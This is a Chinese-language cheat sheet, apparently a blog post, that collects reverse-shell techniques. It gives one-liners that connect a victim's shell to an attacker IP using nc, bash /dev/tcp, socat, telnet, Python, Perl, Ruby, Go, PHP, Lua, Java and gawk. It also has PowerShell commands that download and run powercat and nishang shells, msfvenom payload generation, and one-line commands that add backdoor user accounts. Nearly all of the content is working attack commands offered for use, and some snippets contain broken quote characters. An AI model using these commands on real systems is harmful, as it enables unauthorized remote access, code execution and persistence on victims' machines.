反弹shell方式总结

反弹shell方式总结

nc反弹

  • 场景一 (正向连接)

viticm主机: nc开启本地监听, 并将本地的bash转发出去

1
nc -lvvp 9999 -t -e /bin/bash

attack主机: 远程连接 转发的shell

1
nc viticm_ip 9999
  • 场景二(反向连接)

viticm主机: 当 viticm主机由于防火墙或者其他一些原因, 导致端口访问被拦截

1
nc 192.168.119.137 9999 -t -e /bin/bash

attack主机: 监听本地端口 , 获取shell

1
nc -lnvp 9999

bash直接反弹

bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。

  • bash反弹一句话
1
bash -i >& /dev/tcp/192.168.119.137/9999 0>&1

或者

1
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.119.137/9999 0>&1"
  • bash一句话命令详解

以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下:

http://p6.qhimg.com/t013e425e5510c369cc.png

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

socat转发

Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。

1
2
3
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat     
chmod 755 /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.119.137:9999

socat下载链接:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

  • attack机器上开启监听
1
socat file:`tty`,raw,echo=0 tcp-listen:9999
  • viticm机器反弹shell
1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.119.137:9999

tlnet转发

  • viticm机器执行下面的命令
1
mknod a p; telnet 192.168.119.137 4444 0<a | /bin/bash 1>a
  • attack机器监听端口
1
nc -lnvp 4444

以上反弹shell时, 可能出现 无命令头, 无法补全的问题

使用python的pty库进行解决

1
2
3
4
5
6
7
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color

利用编程语言反弹shell

1. py反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
1
2
3
4
5
6
7
8
# 拆成多行方便阅读
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('ip',port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

2. perl反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 拆成多行方便阅读
use Socket
$i=”10.211.55.2"
$p=7777
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S")
open(STDOUT,">&S")
open(STDERR,">&S")
exec("/bin/sh -i")
}

3. ruby反弹shell

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’

4. go反弹shell

1
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

5. php反弹shell

1
php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’

6. lua反弹shell

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

8. gawk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/gawk -f

BEGIN {
Port = 8080
Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

powershell反弹shell

powershell反弹shell本质上是一些多功能代码集合,通过调用windows提供的api接口实现网络通信和指令解析执行的功能。

1)powercat反弹shell

1
2
3
4
5
6
7
8
9
# 攻击者(192.168.159.134)开启监听:
nc -lvp 6666
# 或者使用powercat监听
powercat -l -p 6666

# 目标机反弹cmd shell:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd

2)nishang反弹shell

Nishang是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

Reverse TCP shell

1
2
3
4
5
6
7
8
9
10
# 攻击者(192.168.159.134)开启监听:
nc -lvp 6666

# 目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

# 或者将nishang下载到攻击者本地:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

Reverse UDP shell

1
2
3
4
5
6
# 攻击者(192.168.159.134)开启监听:
nc -lvup 53

# 目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53

Reverse ICMP shell

1
2
3
4
5
6
7
8
9
# 首先攻击端下载icmpsh_m.py文件
https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1

# 攻击者(192.168.159.134)执行
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #开启监听

# 目标机(192.168.159.138)执行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134

3)自定义powershell函数反弹shell

利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell。

1
2
3
4
5
6
7
8
9
# 攻击者(192.168.159.134) 开启监听 
nc -lvp 6666

# 目标机执行
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4)Empire 结合office反弹shell

Empire(https://github.com/EmpireProject/Empire)基于powershell的后渗透攻击框架,可利用office宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell。

  • 利用office宏反弹shell
  • 利用office OLE对象插入bat文件反弹shell

Relevant Link:

1
https://www.anquanke.com/post/id/99793

msfvenom 获取反弹一句话

学习过程中发现其实强大的MSF框架也为我们提供了生成一句话反弹shell的工具,即msfvenom。绝对的实用,当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,随时我们都可以使用msfvenom -l 来查询生成我们所需要的各类命令行一句话,具体使用方法为各位看官老爷们收集如下。-

  • 查询 payload 具体路径

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。

1
# msfvenom -l payloads 'cmd/unix/reverse'

http://p9.qhimg.com/t014f984e560232d602.png

查看以上截图,我们可以看到msfvenom支持生成反弹shell一句话的类型非常丰富,这里几乎是应有尽有,大家可以依据渗透测试对象自行选择使用。

生成我们我们需要的命令行一句话

依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。

bash 反弹一句话生成

1
msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R

阉割版nc反弹一句话生成

1
msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R

https://p0.ssl.qhimg.com/t01bc2936c36f38c0e9.png

获取python一句话

1
msfvenom -p cmd/unix/reverse_python lhost=1.1.1.1 lport=12345 R

https://p0.ssl.qhimg.com/t01f8abd9cc27aac7ca.png

参考链接

https://www.cnblogs.com/LittleHann/p/12038070.html

https://www.anquanke.com/post/id/87017

一句话添加账号

你不是不给我提供交互的界面吗,那我就是使用脚本式的方法,使用一句话完成账号密码的添加,有关一句话账号密码的添加,笔者收集了以下几种方式。

3.1.1 chpasswd 方法

(1)执行语句

1
useradd newuser;echo "newuser:password"|chpasswd

(2)操作实例

1
2
3
4
5
6
7
root@ifly-21171:~# useradd guest;echo 'guest:123456'|chpasswd
root@ifly-21171:~# vim /etc/shadow

sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:::

3.1.2 useradd -p 方法

(1) 执行语句

1
useradd -p encrypted_password newuser

(2) 操作实例

1
2
3
4
5
6
root@ifly-21171:~# useradd -p `openssl passwd 123456` guest
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h8S5msqJLVTfo:17425:0:99999:7:::

(3) 相同方法其他实现

相同方法不同实现一

1
2
root@ifly-21171:~# useradd -p "$(openssl passwd 123456)" guest
root@ifly-21171:~#

相同方法不同实现二

1
2
user_password="`openssl passwd 123456`"
useradd -p "$user_password" guest

3.1.3 echo -e 方法

(1)执行语句

1
useradd newuwer;echo -e "123456n123456n" |passwd newuser

(2) 操作实例

1
2
3
4
5
6
7
8
root@ifly-21171:~# useradd test;echo -e "123456n123456n" |passwd test
Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h/UnnFIjqKogw:17425:0:99999:7:::
test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9g